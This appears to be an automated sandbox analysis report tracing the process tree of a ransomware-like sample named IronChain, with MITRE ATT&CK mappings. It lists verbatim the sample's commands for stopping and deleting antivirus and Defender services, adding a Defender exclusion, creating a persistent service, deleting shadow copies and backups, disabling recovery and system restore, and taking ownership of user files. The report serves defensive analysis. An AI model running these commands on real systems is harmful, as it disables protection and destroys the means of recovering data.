- - C:\Windows\SYSTEM32\sc.exe
    sc config MBAMService start= disabled
    3⤵
    - Launches sc.exe
    PID:3980
- - C:\Windows\SYSTEM32\sc.exe
    sc delete MBAMService
    3⤵
    - Launches sc.exe
    PID:1052
- - C:\Windows\SYSTEM32\net.exe
    net stop DrWeb /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop DrWeb /y
      4⤵
      PID:3216
- - C:\Windows\SYSTEM32\sc.exe
    sc config DrWeb start= disabled
    3⤵
    - Launches sc.exe
    PID:812
- - C:\Windows\SYSTEM32\sc.exe
    sc delete DrWeb
    3⤵
    - Launches sc.exe
    PID:1412
- - C:\Windows\SYSTEM32\net.exe
    net stop wscsvc /y
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wscsvc /y
      4⤵
      PID:3728
- - C:\Windows\SYSTEM32\sc.exe
    sc config wscsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4512
- - C:\Windows\SYSTEM32\sc.exe
    sc delete wscsvc
    3⤵
    - Launches sc.exe
    PID:656
- - C:\Windows\SYSTEM32\net.exe
    net stop SecurityHealthService /y
    3⤵
    PID:1552
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SecurityHealthService /y
      4⤵
      PID:3704
- - C:\Windows\SYSTEM32\sc.exe
    sc config SecurityHealthService start= disabled
    3⤵
    - Launches sc.exe
    PID:5708
- - C:\Windows\SYSTEM32\sc.exe
    sc delete SecurityHealthService
    3⤵
    - Launches sc.exe
    PID:3888
- - C:\Windows\SYSTEM32\net.exe
    net stop Sense /y
    3⤵
    PID:1236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Sense /y
      4⤵
      PID:3436
- - C:\Windows\SYSTEM32\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:3740
- - C:\Windows\SYSTEM32\sc.exe
    sc delete Sense
    3⤵
    - Launches sc.exe
    PID:4912
- - C:\Windows\SYSTEM32\net.exe
    net stop WinDefend /y
    3⤵
    PID:4040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:1088
- - C:\Windows\SYSTEM32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1220
- - C:\Windows\SYSTEM32\sc.exe
    sc delete WinDefend
    3⤵
    - Launches sc.exe
    PID:1240
- - C:\Windows\SYSTEM32\net.exe
    net stop WdNisSvc /y
    3⤵
    PID:4884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WdNisSvc /y
      4⤵
      PID:2080
- - C:\Windows\SYSTEM32\sc.exe
    sc config WdNisSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4680
- - C:\Windows\SYSTEM32\sc.exe
    sc delete WdNisSvc
    3⤵
    - Launches sc.exe
    PID:3020
- - C:\Windows\SYSTEM32\net.exe
    net stop MpKslDrv /y
    3⤵
    PID:1876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MpKslDrv /y
      4⤵
      PID:1984
- - C:\Windows\SYSTEM32\sc.exe
    sc config MpKslDrv start= disabled
    3⤵
    - Launches sc.exe
    PID:5336
- - C:\Windows\SYSTEM32\sc.exe
    sc delete MpKslDrv
    3⤵
    - Launches sc.exe
    PID:5140
- - C:\Windows\SYSTEM32\net.exe
    net stop NisSrv /y
    3⤵
    PID:4464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop NisSrv /y
      4⤵
      PID:5564
- - C:\Windows\SYSTEM32\sc.exe
    sc config NisSrv start= disabled
    3⤵
    - Launches sc.exe
    PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    sc delete NisSrv
    3⤵
    - Launches sc.exe
    PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\IronChain.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6088
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "IronChain Security Component""
    3⤵
    PID:3724
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
    3⤵
    PID:1224
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
    3⤵
    PID:3112
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    PID:4452
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
    3⤵
    PID:5088
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
    3⤵
    PID:1544
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    PID:3428
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
    3⤵
    PID:4332
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
    3⤵
    PID:2308
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
    3⤵
    PID:4076
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:5432
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
    3⤵
    PID:1536
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
    3⤵
    PID:5860
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
    3⤵
    PID:1852
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe C:\Users\Admin\Desktop\IronChain.hta
    3⤵
    PID:4628
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:3852
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /reset"
    3⤵
    PID:484
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /inheritance:d"
    3⤵
    PID:4088
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /remove "Administrators""
    3⤵
    PID:2396
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /remove "Admin""
    3⤵
    PID:2528
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /remove "Authenticated Users""
    3⤵
    PID:1732
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /grant "Users:RX""
    3⤵
    PID:2492
- - C:\Windows\SYSTEM32\svchost.exe
    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI56242\IronChain.py" /inheritance:d"
    3⤵
    PID:3372
- - C:\Windows\SYSTEM32\route.exe
    route print 0.0.0.0
    3⤵
    PID:5712
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Desktop\BlockInitialize.wpl
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5504
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Desktop\RegisterDismount.svgz
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5960
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Desktop\SetUnlock.doc
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5892
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Desktop\SyncPing.au3
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4600
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Desktop\StopJoin.zip /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3200
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\ReceiveEnable.cr2 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3724
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Downloads\ReceiveUpdate.dxf
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4760
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\ReadPing.xml /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2752
- - C:\Windows\SYSTEM32\ping.exe
    ping -n 1 -w 50 10.127.0.3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5864
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\PushInstall.eps /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2868
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\ProtectConvertFrom.mht /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5520
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Downloads\ResetRestart.tiff
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2792
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\MountResolve.ps1 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1544
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Downloads\StartExpand.png
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5168
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Downloads\SubmitProtect.temp
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5504
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill /f /im notepad.exe
    3⤵
    - Kills process with taskkill
    PID:4948
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\SelectUnprotect.asf /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5088
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Downloads\WriteSet.bat
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:384
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Documents\AddUnlock.xlsb
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2068
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\ShowMeasure.wps /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5672
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\TraceSuspend.mov /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2164
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Downloads\WriteSet.bat /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5168
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Documents\InstallRead.vdx
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2248
- - C:\Windows\SYSTEM32\ping.exe
    ping -n 1 -w 50 10.127.0.4
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5596
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Documents\AddUnlock.xlsb /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1112
- - C:\Windows\SYSTEM32\icacls.exe
    icacls \\?\C:\Users\Admin\Documents\ImportCompress.docx /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5500
- - C:\Windows\SYSTEM32\takeown.exe
    takeown /f \\?\C:\Users\Admin\Documents\LockOut.vsdx
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5440

C:\Windows\system32\svchost.exe
svchost.exe C:\Windows\system32\cmd.exe /c C:\Windows\System32\ntorkrnl0.bat
1⤵
PID:6060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Modify Registry